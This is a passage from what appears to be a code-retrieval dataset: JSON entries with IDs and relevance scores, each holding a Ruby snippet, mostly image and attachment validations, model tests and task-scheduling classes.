!options[:min]\n minimums = options[:min].scan(IMAGE_SIZE_REGEXP).first.collect{|n| n.to_i} rescue []\n raise ArgumentError, \"Invalid value for option :min (should be 'XXxYY')\" unless minimums.size == 2\n\n require 'RMagick'\n\n validates_each(attrs, options) do |record, attr, value|\n unless value.blank?\n begin\n img = ::Magick::Image::read(value).first\n record.errors.add('image', \"is too small, must be at least #{minimums[0]}x#{minimums[1]}\") if ( img.rows < minimums[1] || img.columns < minimums[0] )\n rescue ::Magick::ImageMagickError\n record.errors.add('image', \"invalid image\")\n end\n img = nil\n GC.start\n end\n end\n end", "title": "" }, { "docid": "4b7ee9013d6dcdbda0cd3fb69fe051c5", "score": "0.5506614", "text": "def test_mime_types\n assert_kind_of(DataTypes::ImageData, @test_records[7])\n assert_kind_of(DataTypes::ImageData, @test_records[8])\n assert_kind_of(DataTypes::ImageData, @test_records[9])\n assert_kind_of(DataTypes::ImageData, @test_records[10])\n assert_kind_of(DataTypes::ImageData, @test_records[11])\n assert_kind_of(DataTypes::ImageData, @test_records[12])\n assert_equal(\"image/bmp\", @test_records[7].mime_type)\n assert_equal(\"image/fits\", @test_records[8].mime_type)\n assert_equal(\"image/gif\", @test_records[9].mime_type)\n assert_equal(\"image/jpeg\", @test_records[10].mime_type)\n assert_equal(\"image/png\", @test_records[11].mime_type)\n assert_equal(\"image/tiff\", @test_records[12].mime_type)\n end", "title": "" }, { "docid": "ab6e9904de5ea7bef161582d665e24e2", "score": "0.5493587", "text": "def validate_instance\n if initial_citizens.size == 0 || initial_citizens.size != height || initial_citizens[0].size != width\n errors.add(:attachment, \"Wrong file format\")\n else\n @can_start = true\n end\n end", "title": "" }, { "docid": "8ef6eef5b116adbe7e4761c040be5c67", "score": "0.5491774", "text": "def test_should_be_invalid\n game = create(:theme_id => nil, :date_begin => nil, \n :concluded => nil)\n assert_invalid game, \"Game shouldn't be created\"\nend", "title": "" }, { "docid": "20502272837979836e88c2338e79eb7e", "score": "0.5490319", "text": "def test_valid_attr_type_should_be_valid\n assert @valid_attr_type.valid?\n end", "title": "" }, { "docid": "a38342cf0a4046079d9ce31d5be16d17", "score": "0.54831344", "text": "def verify_file_type\n image_type = self.image_content_type\n if Photo.valid_image_type?(image_type) == false\n msg = \"Not a supported image type, you passed: #{image_type}\"\n errors.add(:image_content_type, msg)\n # save the error state\n self.mark_error\n raise PhotoValidationError.new(msg)\n end\n end", "title": "" }, { "docid": "50f5e086135f8385376d40caaf8aa450", "score": "0.54658663", "text": "def image_validation\n if avatar.attached?\n unless avatar.blob.image?\n errors.add :avatar, 'File is not an image'\n self.avatar.purge_later\n end\n end\n\n if companylogo.attached?\n unless companylogo.blob.image?\n errors.add :companylogo, 'File is not an image'\n self.companylogo.purge_later\n end\n end\n end", "title": "" }, { "docid": "a093f65411268399ff818ab85ffe5583", "score": "0.54640734", "text": "def validates_as_attachment\n validates_presence_of :size, :content_type, :filename\n validate :attachment_attributes_valid?\n end", "title": "" }, { "docid": "a093f65411268399ff818ab85ffe5583", "score": "0.54640734", "text": "def validates_as_attachment\n validates_presence_of :size, :content_type, :filename\n validate :attachment_attributes_valid?\n end", "title": "" }, { "docid": "7bf68a58a1d767803bac15973e126024", "score": "0.54617906", "text": "def validate_header_file_image\n self.validate_header_file(5, ['png', 'jpg', 'jpeg'], 'errors.messages.image_too_large')\n end", "title": "" }, { "docid": "7381dfd456ba0cabfc108b957e9be83e", "score": "0.5460075", "text": "def is_valid\n throw :invalid, :invalid_name unless self.name.strip.delete(' ')!=\"\"\n throw :invalid, :invalid_price unless Item.valid_integer?(self.price)\n throw :invalid, :invalid_quantity unless Item.valid_integer?(self.quantity)\n throw :invalid, :invalid_currency if self.currency == \"bitcoins\" and (self.owner.wallet.nil? or self.owner.wallet ==\"\")\n\n if image != \"\"\n begin\n dim = Dimensions.dimensions(image)\n unless image.size <= 400*1024\n FileUtils.rm(image, :force => true)\n throw :invalid, :big_image\n end\n rescue Errno::ENOENT\n throw :invalid, :no_valid_image_file\n end\n end\n true\n end", "title": "" }, { "docid": "37126266b0f96ce340573480c8c358c4", "score": "0.54574764", "text": "def validate_dimensions\n raise DimensionsError unless width * height <= 300000\n end", "title": "" }, { "docid": "23e8a1fc87365f2923acfbb0c5102930", "score": "0.5453771", "text": "def image_size_validation\n\t\terrors[:image] << \"should be less than 5MB\" if image.size > 5.megabytes\n\tend", "title": "" }, { "docid": "c712b3ff46d6c3833e416123acaf15e9", "score": "0.5444234", "text": "def test_invalid_card_lenghts\n create_invalid_card_lengths\n deny @bad_visa_digits_minus.valid?\n deny @bad_visa_digits_middle.valid?\n deny @bad_visa_digits_plus.valid?\n deny @bad_mc_digits_minus.valid?\n deny @bad_mc_digits_plus.valid?\n deny @bad_disc_digits_minus.valid?\n deny @bad_disc_digits_plus.valid?\n deny @bad_dccb_digits_minus.valid?\n deny @bad_dccb_digits_plus.valid?\n deny @bad_amex_digits_minus.valid?\n deny @bad_amex_digits_plus.valid?\n end", "title": "" }, { "docid": "9fa695d8bbc52927cd724dc357ee06f1", "score": "0.54343885", "text": "def test_for_create_patient_profile_is_valid\n # Create object\n p = PatientProfile.create(:pmd_patient_id => 1999,\n :pmd_user_id => 2999,\n :physician_id => 3999,\n :first_name => 'Lisa',\n :last_name => 'Hoyt',\n :email => 'lisa@proficientMD.com',\n :date_of_birth => Time.at(0),\n :gender => 'F',\n :ethnicity => \"white\")\n\n # Check object is valid\n assert p.valid?\n end", "title": "" }, { "docid": "fef667d96c292be89797dd1686c10ffb", "score": "0.54140717", "text": "def create_bitmap(x, y, options = {})\n create(:bitmap, [x, y], options)\n end", "title": "" }, { "docid": "3105ed4b6073bb6e7ca82b6fa3a00c86", "score": "0.5413606", "text": "def test03()\n importerObjectID = nil\n bitmapObjectID = nil\n begin\n createImporterCommand = CommandModule.make_createimporter($imagefile,\n name: \"test005.test04\")\n importerRef = Smig.perform_command(createImporterCommand).to_i\n importerObjectID = SmigIDHash.make_objectid(objectreference: importerRef)\n createBitmapContextCommand = CommandModule.make_createbitmapcontext(\n width: 1280, height: 1024, preset: :AlphaPreMulFirstRGB8bpcInt)\n bitmapRef = Smig.perform_command(createBitmapContextCommand).to_i\n bitmapObjectID = SmigIDHash.make_objectid(objectreference: bitmapRef)\n drawImageElement = MICGDrawing::MIDrawImageElement.new\n drawRect = MIShapes.make_rectangle(width: 1280, height: 1024)\n drawImageElement.destinationrectangle = drawRect\n drawImageElement.set_imagefile_imagesource(source_object: importerObjectID)\n drawImageElement.elementdebugname = \"test005.test03.drawimage\"\n drawImageCommand = CommandModule.make_drawelement(bitmapObjectID,\n drawinstructions: drawImageElement)\n Smig.perform_command(drawImageCommand)\n Smig.close_object(importerObjectID) unless importerObjectID.nil?\n Smig.close_object(bitmapObjectID) unless bitmapObjectID.nil?\n rescue RuntimeError => e\n $errorcode = Smig.exitvalue\n unless $errorcode.zero?\n puts \"Exit string: \" + Smig.exitstring\n puts \"Exit status: \" + $errorcode.to_s\n end\n puts e.message\n puts e.backtrace.to_s\n ensure\n Smig.close_object_nothrow(importerObjectID) unless importerObjectID.nil?\n Smig.close_object_nothrow(bitmapObjectID) unless bitmapObjectID.nil?\n end\nend", "title": "" }, { "docid": "dc7af76b78cb2e6eb2e8b42a54b7b91f", "score": "0.541223", "text": "def testSendInitImgInvalidCanvasID\n testSocket = SocketController.new\n initImgInfoJSON = testSocket.send_init_img('0')\n initImgInfo = JSON.parse(initImgInfoJSON)\n assert_equal(-1, initImgInfo['bitmap'], \"bitmap field is incorrectly filled in for nonexistent canvas\")\n assert_equal(-1, initImgInfo['actions'], \"actions field is incorrectly filled in for nonexistent canvas\")\n end", "title": "" }, { "docid": "705d23ff13117edf766d3e4bb0b31359", "score": "0.5408053", "text": "def test_invalid_with_empty_attributes\r\n policy = Policy.new\r\n assert !policy.valid?\r\n assert policy.errors.invalid?(:group_number)\r\n assert policy.errors.invalid?(:group_name)\r\n assert policy.errors.invalid?(:relationship_id)\r\n assert policy.errors.invalid?(:subscriber_DOB)\r\n assert policy.errors.invalid?(:subscriber_sex)\r\n assert policy.errors.invalid?(:carrier_type)\r\n assert policy.errors.invalid?(:subscriber_number)\r\n assert policy.errors.invalid?(:subscriber_first_name)\r\n assert policy.errors.invalid?(:subscriber_last_name)\r\n assert policy.errors.invalid?(:subscriber_address)\r\n assert policy.errors.invalid?(:subscriber_city)\r\n assert policy.errors.invalid?(:subscriber_state)\r\n assert policy.errors.invalid?(:subscriber_zipcode)\r\n end", "title": "" }, { "docid": "a0f54ad00fa75ee481b262bf26038af6", "score": "0.5394999", "text": "def test_images_match\n assert images_equal?(test_image('foreground_overlay.png'),\n test_image('foreground_overlay_copy.png')),\n 'Identical images should match'\n assert images_equal?(test_image('foreground_overlay.png'),\n test_image('foreground_overlay.png')),\n 'Image should match itself'\n refute images_equal?(test_image('foreground_overlay.png'),\n test_image('foreground_overlay_tweaked.png')),\n 'Images with same size but different pixels should not match'\n refute images_equal?(test_image('foreground_overlay.png'),\n test_image('blank_sharing_drawing_anna.png')),\n 'Images with different sizes and pixels should not match'\n end", "title": "" }, { "docid": "65d21aa85e93ca1d553df8d7f36d57ee", "score": "0.5393762", "text": "def validate_banner_dimensions\n dimensions = Paperclip::Geometry.from_file(banner.to_file(:original))\n errors.add(:banner, \"Image dimensions were #{dimensions.width.to_i}x#{dimensions.height.to_i}, they must be exactly #{banner_dimensions_string}\") unless dimensions.width == BANNER_WIDTH && dimensions.height == BANNER_HEIGHT\n end", "title": "" }, { "docid": "65d21aa85e93ca1d553df8d7f36d57ee", "score": "0.5393762", "text": "def validate_banner_dimensions\n dimensions = Paperclip::Geometry.from_file(banner.to_file(:original))\n errors.add(:banner, \"Image dimensions were #{dimensions.width.to_i}x#{dimensions.height.to_i}, they must be exactly #{banner_dimensions_string}\") unless dimensions.width == BANNER_WIDTH && dimensions.height == BANNER_HEIGHT\n end", "title": "" }, { "docid": "711787bcba510b90154d91e88f125b69", "score": "0.5392264", "text": "def test_should_automatically_create_thumbnails_for_file_attachment(klass = ImageWithThumbsFileAttachment)\n assert_created klass, 3 do\n attachment = upload_file :class => klass, :filename => '/files/rails.png'\n assert !attachment.new_record?, attachment.errors.full_messages.join(\"\\n\")\n assert !attachment.size.zero?\n #assert_equal 1784, attachment.size\n \n assert_equal 55, attachment.width\n assert_equal 55, attachment.height\n assert_equal 2, attachment.thumbnails.length\n assert_equal 1.0, attachment.aspect_ratio\n \n thumb = attachment.thumbnails.detect { |t| t.filename =~ /_thumb/ }\n assert !thumb.new_record?, thumb.errors.full_messages.join(\"\\n\")\n assert !thumb.size.zero?\n #assert_in_delta 4673, thumb.size, 2\n assert_equal 50, thumb.width\n assert_equal 50, thumb.height\n assert_equal 1.0, thumb.aspect_ratio\n \n geo = attachment.thumbnails.detect { |t| t.filename =~ /_geometry/ }\n assert !geo.new_record?, geo.errors.full_messages.join(\"\\n\")\n assert !geo.size.zero?\n #assert_equal 3915, geo.size\n assert_equal 50, geo.width\n assert_equal 50, geo.height\n assert_equal 1.0, geo.aspect_ratio\n end\n end", "title": "" }, { "docid": "37f9b1d6625bc9e9d5207b2b8b6c0bff", "score": "0.53816134", "text": "def validate!\n if identifier.to_s.empty?\n raise ValidationError.new(\"identifier is not given or empty\")\n else\n [image_changes.created, image_changes.updated].each do |collection|\n collection.each(&:validate!)\n end\n\n true\n end\n end", "title": "" }, { "docid": "8c544d06b49d7181c5e67306dfbb02e5", "score": "0.5379551", "text": "def test_user_invalidity\n assert !@invalid_user.valid?\n attributes = [:handle, :fullname, :email, :password]\n attributes.each do |attribute|\n assert @invalid_user.errors.invalid?(attribute)\n end\n end", "title": "" }, { "docid": "dca951aabcf53fa844eb0f6a13464591", "score": "0.5379482", "text": "def test_image_width_edgecases\n\n # Test image_width value is as expected\n m = Sketchup.active_model.materials.add 'Test Color'\n m.texture = @test_valid_texture\n texture = m.texture\n imagewidth = texture.image_width\n expected_imagewidth = 380\n assert_equal(expected_imagewidth, imagewidth,\n \"\\nWe expected to see a width of \" + \n \"#{expected_imagewidth} pixels and got \" +\n \"#{imagewidth} \\n\")\n end", "title": "" }, { "docid": "25762ad709967ac81a51e6f122c23560", "score": "0.5369197", "text": "def image_size_validation\n errors[:images] << \"should be less than 500KB\" if images.size > 0.5.megabytes\n end", "title": "" }, { "docid": "d08c3b5f2ee728c42b54c7abd50bee00", "score": "0.53691876", "text": "def test_should_not_create_invalid_tag\n a_tag = Tag.new\n assert !a_tag.valid?\n assert a_tag.errors.invalid?(:name)\n # A tag must have a name.\n assert_equal \"can't be blank\", a_tag.errors.on(:name)\n a_tag.name = \"Books\"\n assert !a_tag.valid?\n assert a_tag.errors.invalid?(:name)\n # A tag must have an unique name.\n assert_equal \"has already been taken\", a_tag.errors.on(:name)\n assert !a_tag.save\n end", "title": "" }, { "docid": "c1a8294d10e184f386beaee5a8adbec5", "score": "0.5368885", "text": "def test_grape_validity\n assert @valid_grape.valid?\n end", "title": "" }, { "docid": "972f6b9dd7910922a574bea347e08d5c", "score": "0.5367332", "text": "def test_set_texture_bad_params\n Sketchup.active_model.start_operation \"test_set_texture_bad_params\"\n model = Sketchup.active_model\n materials = model.materials\n m = materials.add \"Joe\"\n assert_raise ArgumentError do\n # bad arguments here that should cause errors\n m.texture = 748327489723423984732748723894793242\n end\n Sketchup.active_model.commit_operation\n Sketchup.undo\n end", "title": "" }, { "docid": "3e1b4419365cc943f64ee38f48d13dd3", "score": "0.53615606", "text": "def is_image_valid?(image_path)\n if File.exists?(image_path) && (File.size(image_path) > 0)\n open(image_path, \"rb\") do |fh|\n image = ImageSize.new(fh.read)\n # if image width is not nil, then this is a valid image\n return true if (!image.width.blank? && (image.width == AppConfig.gmap_tile_size))\n end\n end\n end", "title": "" }, { "docid": "4fcf4f47a70e169b8a23ca16fbccf0ce", "score": "0.53612125", "text": "def attachment_attributes_valid_improved\n if self.temp_path.blank? || self.filename.blank? || self.size.blank?\n self.errors.add_to_base(\"We did not get the file you tried to upload, please try again.\".t)\n raise ActiveRecord::RecordInvalid.new(self)\n end\n\n\n self.content_type = guess_mime_type_by_magic(self.temp_path)\n self.content_type = guess_mime_type_by_filename(self.filename) if self.content_type.blank?\n\n if attachment_options[:content_type]\n errors.add_to_base(\"The file you uploaded is not a valid #{self.class.name.downcase} file. It appears to be of type: %s.\" / self.content_type) unless attachment_options[:content_type].include?(self.content_type)\n end\n\n if attachment_options[:custom_validator]\n self.send(attachment_options[:custom_validator])\n end\n\n raise ActiveRecord::RecordInvalid.new(self) if !self.errors.empty?\n\n attachment_size_valid?\n end", "title": "" } ]
328b1ecb327ac9341de61f3d4edc8a82
Constructor for the generator. Arguments: tasks A 'PACTaskCollection' of populated tasks commits A 'PACCommitCollection' list of commits. used to tally those that were referenced and those that were not
[ { "docid": "87ad7a00e913c0f728643ed2febc3025", "score": "0.8038951", "text": "def initialize(tasks = Model::PACTaskCollection.new, commits = Model::PACCommitCollection.new)\n\t\t\t@tasks = tasks\n\t\t\t@commits = commits\n\t\tend", "title": "" } ]
[ { "docid": "6d6790cc8b83e777a295dbef43e32068", "score": "0.6640956", "text": "def task_id_list(commits)\n regex_arr = []\n\n tasks = Model::PACTaskCollection.new\n\n commits.each do |c_pac|\n\n referenced = false\n #Regex ~ Eacb regex in the task system\n settings[:task_systems].each do |ts|\n #Loop over each task system. Parse commits for matches\n if ts.has_key? :delimiter \n split_pattern = eval(ts[:delimiter]) \n end\n\n if ts.has_key? :regex \n tasks_for_commit = c_pac.matchtask(ts[:regex], split_pattern)\n tasks_for_commit.each do |t| \n t.applies_to = ts[:name]\n end \n #If a task was found\n unless tasks_for_commit.empty?\n referenced = true \n tasks.add(tasks_for_commit) \n end \n end\n end\n\n if !referenced\n task = Model::PACTask.new\n task.add_commit(c_pac)\n tasks.add(task)\n end \n\n end\n\n tasks \n end", "title": "" }, { "docid": "c3a428b1988cd359893b7021c2ad207d", "score": "0.6368932", "text": "def initialize\n @tasks = []\n end", "title": "" }, { "docid": "e4d4dd097aae52470f349f3406449c16", "score": "0.60919803", "text": "def initialize\n @cal_tasks = []\n end", "title": "" }, { "docid": "e4d4dd097aae52470f349f3406449c16", "score": "0.60919803", "text": "def initialize\n @cal_tasks = []\n end", "title": "" }, { "docid": "922d1981def9303dfd282591f54d885c", "score": "0.5926772", "text": "def initialize\n @tasks = {}\n end", "title": "" }, { "docid": "8c71d0ef1af53ac01e8004c92372321b", "score": "0.5805544", "text": "def add_task_set(tasks)\n\t for t in tasks\n\t\tt.plan = self\n known_tasks << t\n\t\ttask_index.add t\n\t end\n\t added_tasks(tasks)\n\n\t for t in tasks\n\t\tt.instantiate_model_event_relations\n for ev in t.bound_events.values\n task_events << ev\n end\n\t end\n\t nil\n\tend", "title": "" }, { "docid": "887764123b5a6551ecff6698a1e514a4", "score": "0.579023", "text": "def tasks=( tasks )\n @max_level = nil\n @tasks = to_task_array( tasks )\n end", "title": "" }, { "docid": "e7288bca51f07adc5adf94f008f4f43e", "score": "0.5777609", "text": "def initialize\n @task_list = []\n end", "title": "" }, { "docid": "e88c6d3e390ad91ea3288754cd1d23c1", "score": "0.57674855", "text": "def initialize (task, tags)\n @dirty = false\n @prev = @tags = tags\n end", "title": "" }, { "docid": "703b9de4c81f9bf842b39a7ae4cc7962", "score": "0.5741227", "text": "def added_tasks(tasks)\n\t\tsuper if defined? super\n\t\tPlanModificationHooks.added_objects(self, tasks)\n\t end", "title": "" }, { "docid": "0ddee96f5b728ef181745c583f1b047a", "score": "0.57330203", "text": "def initialize(task_name)\n @name = task_name\n @prerequisites = []\n @actions = []\n\n # get last defined desc, use it & clean the source\n @desc = Task.last_desc\n Task.last_desc = nil\n end", "title": "" }, { "docid": "b9a59e1332594d92b4878c59ab7aee22", "score": "0.57175463", "text": "def build_meta_graph_tasks(subtasks) #:nodoc:\n\n by_id = subtasks.index_by(&:id)\n\n new_subtasks = [] # declared early so it can be used in method's rescue clause\n fully_processed_tids = {} # PsomSubtask IDs only\n num_serializers_par = 0 # number of CbSerializers under control of Parallelizers\n parallel_group_size = (self.tool_config && self.tool_config.ncpus && self.tool_config.ncpus > 1) ? self.tool_config.ncpus : 2\n\n current_cut = subtasks.select { |t| t.params[:psom_graph_keywords] =~ /Initial/ } # [t-1,t-2,t-3,t-4,t-5,t-6]\n\n # The cut progresses through the graph width-first,\n # starting at the inputs. Each cut is implemented by a set\n # of Parallelizer task plus some leftover CbSerial or individual\n # PsomTask. There are no prerequisites added to any of the\n # new tasks in this meta graph, as the ones from the PsomSubtask\n # are enough to enusre proper meta task ordering.\n while current_cut.size > 0\n\n # Extend the current cut to an array of single tasks plus Serializers for groups of serial tasks\n serialized_cut = current_cut.map do |task|\n sertask = self.serialize_task_at(task, by_id, fully_processed_tids) # [ S(t-1,t-2,t-3), t-4, S(t-5,t-6) ]\n num_serializers_par += 1 if sertask.is_a?(CbrainTask::CbSerializer) # may be adjusted by -1 below\n sertask\n end\n\n # Create the parallelizers, and/or non-parallelized tasks too.\n triplet = CbrainTask::Parallelizer.create_from_task_list( serialized_cut,\n :group_size => parallel_group_size,\n # :subtask_start_state => \"Standby\",\n # :parallelizer_start_state => \"Standby\",\n :parallelizer_level => 0\n ) do |paral, paral_subtasks|\n psom_idx = paral_subtasks.map { |t| t.is_a?(CbrainTask::PsomSubtask) ? (t.params[:psom_ordered_idx]+1).to_s : t.description }\n paral.description = psom_idx.join(\" | \")\n paral.share_wd_tid = self.id # use the same workdir as the rest of the pipeline\n paral_subtasks.each do |t|\n #paral.rank = t.rank if t.rank >= paral.rank\n paral.rank = 0 # it looks better when they are all at the top of th batch\n paral.level = t.level if t.level >= paral.level\n end\n paral.save!\n end\n\n # messages = triplet[0] # ignored\n parallelizer_list = triplet[1] # 0, 1 or many, each a P(S(),S(),t-n,S(),...)\n normal_list = triplet[2] # 0, 1 or many, each a t-n or a S(t-n,t-n,...)\n\n new_subtasks += parallelizer_list\n new_subtasks += normal_list\n normal_list.each { |t| num_serializers_par -= 1 if t.is_a?(CbrainTask::CbSerializer) } # there are not parallelized\n\n # Unblock all the serializers in the non-parallelized list\n normal_list.each do |task|\n next unless task.is_a?(CbrainTask::CbSerializer)\n task.status = 'New'\n task.save!\n end\n\n # Flatten current cut and mark all its tasks as processed\n psom_flat_list = serialized_cut.inject([]) do |flat,task|\n flat << task if task.is_a?(CbrainTask::PsomSubtask)\n flat += task.enabled_subtasks if task.is_a?(CbrainTask::CbSerializer)\n flat\n end\n current_flat_ids = psom_flat_list.index_by(&:id)\n psom_flat_list.each { |task| fully_processed_tids[task.id] = true }\n\n # Compute next cut\n next_cut_tasks_by_id = {}\n psom_flat_list.each do |task|\n task.params[:psom_successor_tids].each do |succ_id|\n next if current_flat_ids[succ_id.to_i]\n succ = by_id[succ_id.to_i]\n succ_prec_ids = succ.params[:psom_predecessor_tids]\n next unless succ_prec_ids.all? { |tid| fully_processed_tids[tid.to_i] }\n next_cut_tasks_by_id[succ_id] ||= by_id[succ_id]\n end\n end\n current_cut = next_cut_tasks_by_id.values\n\n end\n\n return [ new_subtasks, num_serializers_par ]\n\n rescue => ex\n new_subtasks.each { |t| t.destroy rescue true }\n raise ex\n end", "title": "" }, { "docid": "75350257ba923b73aa62055d8e0c847f", "score": "0.5677036", "text": "def set_tasks(tasks)\n @tasks = tasks\n end", "title": "" }, { "docid": "a43b555c1ea1c9677eca9c90521efca4", "score": "0.5668294", "text": "def initialize(tasks =[])\n raise ArgumentError, \"wrong argument - Array was expected\" unless tasks.is_a? Array\n @registered_tasks = Array.new\n\t\t@alias = {}\n tasks.each do |task|\n register(task)\n end\n end", "title": "" }, { "docid": "9f58e13bf9f8d323579abd226c58e3af", "score": "0.56144094", "text": "def initialize\n @tasks = {}\n @default_task\n end", "title": "" }, { "docid": "0b155a5ebf9906cb16c134773971f786", "score": "0.56126356", "text": "def initialize(app_, tasks_=[], opts_={})\n @app = app_\n @tasks = tasks_\n end", "title": "" }, { "docid": "34532b22401b957092b5b21a39ad9807", "score": "0.56109655", "text": "def initialize(task_name)\n @name = task_name\n @prerequisites = []\n @actions = []\n end", "title": "" }, { "docid": "005afb7fdc0181852bc227d4750edc9f", "score": "0.5597904", "text": "def initialize(project, commits, ref = nil)\n @project = project\n @commits = commits\n @ref = ref\n end", "title": "" }, { "docid": "8830be1c16c320df2a6adbe0ee8d400a", "score": "0.5596249", "text": "def assign_tasks(tasks)\n\t\t#now we need to iterate the tasks\n\t\twork_tasks = WorkTask.all\n\t\tcounter = 0\n\t\ttasks.each do |task|\n\t\t\t#what we need to do here is for the task to take the first slot available\n\t\t\ttemp_work_tasks = search_first(task,work_tasks)\n\t\t\tif(temp_work_tasks)\n\t\t\t\twork_tasks = temp_work_tasks\n\t\t\t\tcounter = counter + 1 \n\t\t\tend\n\t\tend\n\t\treturn counter\n\tend", "title": "" }, { "docid": "8f4776b937546341d311e9997e1ccc60", "score": "0.5561955", "text": "def initialize\n @ID = @@count\n @@count += 1\n\n @Tasks = Array.new \n @StartDate = Time.new \n @EndDate = nil \n @Owners = Array.new \n end", "title": "" }, { "docid": "1bdc6b6baebc13905f6e955bcd083a78", "score": "0.55559623", "text": "def initialize (task_array)\n @maps, @reduces, @bad_tasks, @suspects, @report_times = [], [], [], [], []\n @map_stats, @reduce_stats = StatCounter.new, StatCounter.new\n @json_maps = task_array[\"maps\"]\n @json_reduces = task_array[\"reduces\"]\n @json_tasks = @json_maps + @json_reduces\n set_tasks\n set_suspects\n set_report_times\n set_stats\n end", "title": "" }, { "docid": "bff2e7f7015572b36c7907cb5c4486cf", "score": "0.5530205", "text": "def initialize(tasks=Rake.application.tasks)\n if tasks.empty?\n Rake.application.init\n Rake.application.load_rakefile\n tasks = Rake.application.tasks\n end\n \n @tasks = tasks.reject {|task| task.comment.nil?}\n end", "title": "" }, { "docid": "51f7019c3db916462f6e3c781df24f43", "score": "0.5524842", "text": "def initialize_id(tasks)\n pattern = %r{(?<=\\/)\\d+(?=\\.task)}\n tasks.sort_by! {|t| t.scan(pattern)[0].to_i}\n save_id(tasks[tasks.size-1].scan(pattern)[0].to_i)\n end", "title": "" }, { "docid": "0b4ed5a053bc7682a0b0e9ea4b08306c", "score": "0.5462908", "text": "def initialize(todos)\n @contexts = Set.new\n @projects = Set.new\n @todos = []\n\n parse! todos.map{|line| line.strip}\n\n @contexts = @contexts.to_a\n @projects = @projects.to_a\n end", "title": "" }, { "docid": "93ce6c3a0080ee6fc1d767a17d58c50d", "score": "0.54448694", "text": "def setup\r\n sleep 0.1\r\n @store = TaskStore.new\r\n @tasks = @store.all\r\n # dummy data mimics user input; tests that user input is saved and displayed\r\n # groovily\r\n params = {\"description\" => \"Test task 123\", \"categories\" => \"foo, bar\"}\r\n # test tasks for /\r\n @task0 = Task.new(@store, params)\r\n @task0.categories[\"deleted\"] = false\r\n @task0.categories[\"completed\"] = false\r\n @task0.categories[\"foo123\"] = true\r\n @store.save(@task0)\r\n @task1 = Task.new(@store, params)\r\n @task1.categories[\"deleted\"] = true\r\n @task1.categories[\"foobar\"] = true\r\n @store.save(@task1)\r\n @task2 = Task.new(@store, params)\r\n @task2.categories[\"completed\"] = true\r\n @task2.categories[\"foobar\"] = true\r\n @store.save(@task2)\r\n params_for_3 = params.merge(\"date_due\" => \"1/1/2016\")\r\n @task3 = Task.new(@store, params_for_3)\r\n @task3.categories[nil] = \"foobar\"\r\n @store.save(@task3)\r\n # test tasks for /completed\r\n @task4 = Task.new(@store, params)\r\n @task4.categories[\"deleted\"] = false\r\n @task4.categories[\"completed\"] = true\r\n @store.save(@task4)\r\n @task5 = Task.new(@store, params)\r\n @task5.categories[\"deleted\"] = true\r\n @task5.categories[\"completed\"] = true\r\n @task5.categories[\"foobar\"] = true\r\n @store.save(@task5)\r\n params_for_6 = params.merge(\"description\" => \"I ain't completed\")\r\n @task6 = Task.new(@store, params_for_6)\r\n @task6.categories[\"completed\"] = false # so shouldn't show up in /completed\r\n @task6.categories[\"foobar\"] = true\r\n @store.save(@task6)\r\n params_for_7 = params.merge(\"date_due\" => \"1/1/2016\")\r\n @task7 = Task.new(@store, params_for_7)\r\n @task7.categories[\"completed\"] = true\r\n @task7.categories[nil] = \"foobar\"\r\n @store.save(@task7)\r\n # test tasks for /deleted\r\n params_for_8 = params.merge(\"date_due\" => \"1/1/2016\", \"description\" =>\r\n \"undeleteme mama\")\r\n @task8 = Task.new(@store, params_for_8)\r\n @task8.categories[\"completed\"] = true\r\n @task8.categories[\"deleted\"] = true\r\n @store.save(@task8)\r\n params_for_9 = params.merge(\"description\" => \"Should not show up 9262\")\r\n @task9 = Task.new(@store, params_for_9)\r\n @task9.categories[\"completed\"] = false\r\n @task9.categories[\"deleted\"] = false # this one isn't deleted, shouldn't show up\r\n @task9.categories[\"foo123\"] = true\r\n @store.save(@task9)\r\n params_for_10 = {\"description\" => \"I am not a foo task\", \"categories\" => \"bar\"}\r\n @task10 = Task.new(@store, params_for_10)\r\n @task10.categories[\"completed\"] = false\r\n @task10.categories[\"deleted\"] = false\r\n @store.save(@task10)\r\n # Note, based on the above data, the complete list of added drop-down tags\r\n # (because they are not completed & not deleted) should be as follows\r\n @drop_down_tags = [\"foo\", \"bar\"]\r\n @first_description_to_display = @store.all.last.description\r\n @second_description_to_display = @store.all[@store.all.length - 2].description\r\n end", "title": "" }, { "docid": "f086c876ac713963759621116c21b8e2", "score": "0.5424994", "text": "def make_useless(tasks)\n all_tasks = compute_useful_tasks(\n Array(tasks), graphs: default_useful_task_graphs.map(&:reverse)\n ).to_set\n all_tasks.compare_by_identity\n @task_index.mission_tasks.dup.each do |t|\n unmark_mission_task(t) if all_tasks.include?(t)\n end\n @task_index.permanent_tasks.dup.each do |t|\n unmark_permanent_task(t) if all_tasks.include?(t)\n end\n end", "title": "" }, { "docid": "91ef90a8e0366a8517e5ead5b81a7953", "score": "0.538416", "text": "def initialize(params = {})\n params.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n\n if task\n @old_task_project_id = task.project && task.project.id\n end\n end", "title": "" }, { "docid": "a9c74b4759b0606b2bfa83175a355a78", "score": "0.53672826", "text": "def process_tasks\n #OmniPlan indicates it's \"top-task\" by the top-task node so find that first\n # We get the idref for the task then do a search of the doc by id and get the root node\n root_node_id = @doc['top-task'].first['idref']\n root_node = find_tasks('id', root_node_id).first\n\n\n #Now we need to find all of the dependents of that \"top-task\"\n #These are the actual top level tasks\n #Each of these top level tasks will be considered a project\n projects_raw = find_tasks('id', child_refs(root_node))\n\n #Do some quick initialization and we'll be off\n @sprints = []\n\n # For each project node build recursively build the tree of tasks below it\n projects_raw.each do |project_raw|\n task = build_task(project_raw, 0)\n build_children(task)\n @sprints << task\n end\n\n true\n end", "title": "" }, { "docid": "29ec39264afd4ddb45159ac69b0e381f", "score": "0.5359082", "text": "def initialize(task_name, app)\n @name = task_name.to_s\n @prerequisites = []\n @actions = []\n @already_invoked = false\n @comments = []\n @lock = Monitor.new\n @application = app\n @scope = app.current_scope\n @arg_names = nil\n @locations = []\n @invocation_exception = nil\n @order_only_prerequisites = []\n end", "title": "" }, { "docid": "7ccff703a3360ea1a20257bebaafc080", "score": "0.5341292", "text": "def task_assignments\n @task_assignments ||= Harvest::API::TaskAssignments.new(credentials)\n end", "title": "" }, { "docid": "aafc1fcad2042a70cc008f8bb202ce84", "score": "0.53342265", "text": "def populate_task(server, tasks)\n server_tasks = Dir.glob(File.join(tasks,'*.xml'))\n return if server_tasks.nil?\n LOGGER.info(\"Server #{server.name} tasks #{server_tasks.count}\")\n\n pb = ProgressBar.create(\n title: 'Tasks',\n total: server_tasks.count,\n remainder_mark: '.',\n format: PROGRESS_BAR_OPTIONS[:fmt],\n length: 